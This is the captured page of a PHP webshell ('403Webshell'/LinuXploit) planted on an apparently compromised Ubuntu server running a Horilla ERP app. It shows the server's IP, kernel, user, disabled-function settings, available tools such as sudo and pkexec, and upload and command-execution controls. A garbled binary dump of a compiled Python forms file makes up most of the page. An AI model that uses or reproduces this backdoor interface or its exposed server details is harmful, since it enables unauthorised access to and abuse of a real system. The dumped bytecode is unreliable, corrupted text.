403Webshell
Server IP : 65.108.144.40  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ubuntu-8gb-hel1-1 5.15.0-173-generic #183-Ubuntu SMP Fri Mar 6 13:29:34 UTC 2026 x86_64
User : dev ( 1000)
PHP Version : 8.2.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/erp/horilla_views/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/erp/horilla_views/__pycache__/forms.cpython-310.pyc
o

hͦh%�@s�dZddlZddlmZddlmZddlmZddlm	Z	ddl
mZddlm
Z
dd	lmZdd
lmZddlmZddlmZmZmZmZmZdd
lmZGdd�dej�ZGdd�dej�Z Gdd�dej�Z!dS)z
horilla_views/forms.py
�N)�forms)�ContentFile)�default_storage)�transaction)�render_to_string)�SafeText)�gettext_lazy)�_thread_locals)�models)�BOOLEAN_CHOICES�FIELD_WIDGET_MAP�MODEL_FORM_FIELD_MAP�get_field_class_map�
structured)�getattributecs4eZdZdZdef�fdd�Zdefdd�Z�ZS)�ToggleColumnFormz
    Toggle column form
    �
hidden_fieldscsbttdi�}||_t�j|i|��|D]}d}|d|vr d}tj|d|d�|j|d<qdS)N�requestT�Fr)�label�initial)�getattrr	r�super�__init__r�BooleanField�fields)�self�columnsr�args�kwargsr�columnr��	__class__��#/var/www/erp/horilla_views/forms.pyr s��zToggleColumnForm.__init__�returncCs||jd�}td|�}|S)zA
        Render the form fields as HTML table rows with.
        ��formrzgeneric/as_list.html)rr)r�context�
table_htmlr#r#r$�as_list-s
zToggleColumnForm.as_list)	�__name__�
__module__�__qualname__�__doc__�listrrr*�
__classcell__r#r#r!r$rs
rcsReZdZdZejejdddd�d�d�ZGdd	�d	�Zd
d�Z	�fdd
�Z
�ZS)�SavedFilterFormz
    SavedFilterForm
    �oh-input w-100�colorzChoose a color)�class�type�placeholder��attrs)�widgetc@seZdZejZgd�ZdS)zSavedFilterForm.Meta)�title�
is_defaultr3N)r+r,r-r
�SavedFilter�modelrr#r#r#r$�MetaEsr>cCs$ttdd�}||d�}td|�}|S)zS
        Render the form fields as HTML table rows with Bootstrap styling.
        rNr&zcommon_form.html)rr	r)rrr(r)r#r#r$rIs�
zSavedFilterForm.structuredcsJt�j|i|��|jdjj}d|d<d|d<|jjr#|jj|_dSdS)Nr:r2r4zSaved filter titler6)	rrrr9r8�instance�pkr:�verbose_name)rrrr8r!r#r$rUs�zSavedFilterForm.__init__)r+r,r-r.r�	CharField�	TextInputr3r>rrr0r#r#r!r$r16s���
r1csTeZdZdZed�Zdggd�dejjdedef�fdd	�Z	d
d�Z
dd
�Z�ZS)�DynamicBulkUpdateFormz
    DynamicBulkUpdateForm
    zBulk UpdateN)�
root_model�bulk_update_fields�idsrErFrGcs�||_||_t|dd�d�|_t|_t||�}ttd�|_t	�j
|i|��|��D]�\}}t�
t|��}	t�
t|��}
|	r�|
r�t|tjj�r^tjt|	|j��dd�|j|<d|j|j_q*t|d�s�t|tjj�r�|jr�tjd	gd
d�|jD�tjdd
id�|j��dd�|j|<d|j|j_q*|
|	|j��dd�|j|<d|j|j_q*|jj� �}|
|	||jdd�|j|<d|j|j_q*dS)NcSs
|�d�S)N�__)�count)�xr#r#r$�<lambda>ps
z0DynamicBulkUpdateForm.__init__.<locals>.<lambda>)�keyrF)�choicesr9r�required)z"horilla_widgets/select_option.html�
related_model)�z--------cSsg|]
}|ddkr|�qS)rrPr#)�.0�choicer#r#r$�
<listcomp>�sz2DynamicBulkUpdateForm.__init__.<locals>.<listcomp>r4zoh-select oh-select-2 w-100r7)r9rrN)r9�querysetrrN)!rGrE�sortedrFrrrr	rrr�itemsr�getr5r
�
isinstancer
rr�ChoiceFieldrrA�
capitalizerr9�option_template_namerBrM�SelectrO�objects�all)rrErFrGrr�mappingsrL�valr9�fieldrTr!r#r$resj�
�
���	����zDynamicBulkUpdateForm.__init__c
Cs�d}zt���	|��td��1swYW|StyG}z!dt|�vr<d}|�ddt|����WYd}~|SWYd}~|Sd}~ww)NT�	no_errorsFzForm not valid: )r�atomic�save�	Exception�str�	add_error)r�valid�er#r#r$�is_valid�s 
�
� 
���zDynamicBulkUpdateForm.is_validcOs�t|j|j�}i}i}i}i}i}|j}	|��D]�\}
}t�t|��}|r�|�|j�s0i||j<|�|j�s;i||j<|�|j�sui||j<|�|j�su|j|jkrXd||j<n|
�d�d}
t	|	|
�}|j
jjd||	||j<|j}	|j
�|
�}|j�|
�}|r�|ds�|s�q|
�d�d}
t	|j|
�j}t|tjj�r�|||j|
<q|r�t|tjjtjjf�r�tj�|j|dj�}|||j|
<|d||j|<q|d||j|
<q|��D]I\}}|jjdi|||ji��}|jdi|��|||<||}|�r'|��D]\}}t||�jjjj|d�}|D]}t||��|��q�qq�|��D]%\}}|�rP|��D]\}}tj�|j|j�}t �!|t"|�#����q7�q,dS)	z"
        Bulk save method
        �id__inrH���r���)rkNr#)$rrErFrVr
rWr5r=�splitr�relatedra�name�files�getlist�datarXr
�ManyToManyField�	FileField�
ImageField�os�path�join�	upload_tor]�filterrG�updaterrO�setrrdr�read)rrrr_�	data_mapp�
data_m2m_mapp�
relation_mapp�map_queryset�
fiels_mapping�parent_modelrLr`ra�related_keyrq�value�model_field�	file_pathr=rsrT�m2m_datarG�related_objectsr?�filer#r#r$rd�s�



�������
�����zDynamicBulkUpdateForm.save)
r+r,r-r.�_transrAr
�Modelr/rrjrdr0r#r#r!r$rD^s����DrD)"r.rw�djangor�django.core.files.baser�django.core.files.storager�	django.dbr�django.template.loaderr�django.utils.safestringr�django.utils.translationrr��horilla.horilla_middlewaresr	�
horilla_viewsr
�horilla_views.cbv_methodsrrr
rr�3horilla_views.templatetags.generic_template_filtersr�Formr�	ModelFormr1rDr#r#r#r$�<module>s (

Youez - 2016 - github.com/yon3zu
LinuXploit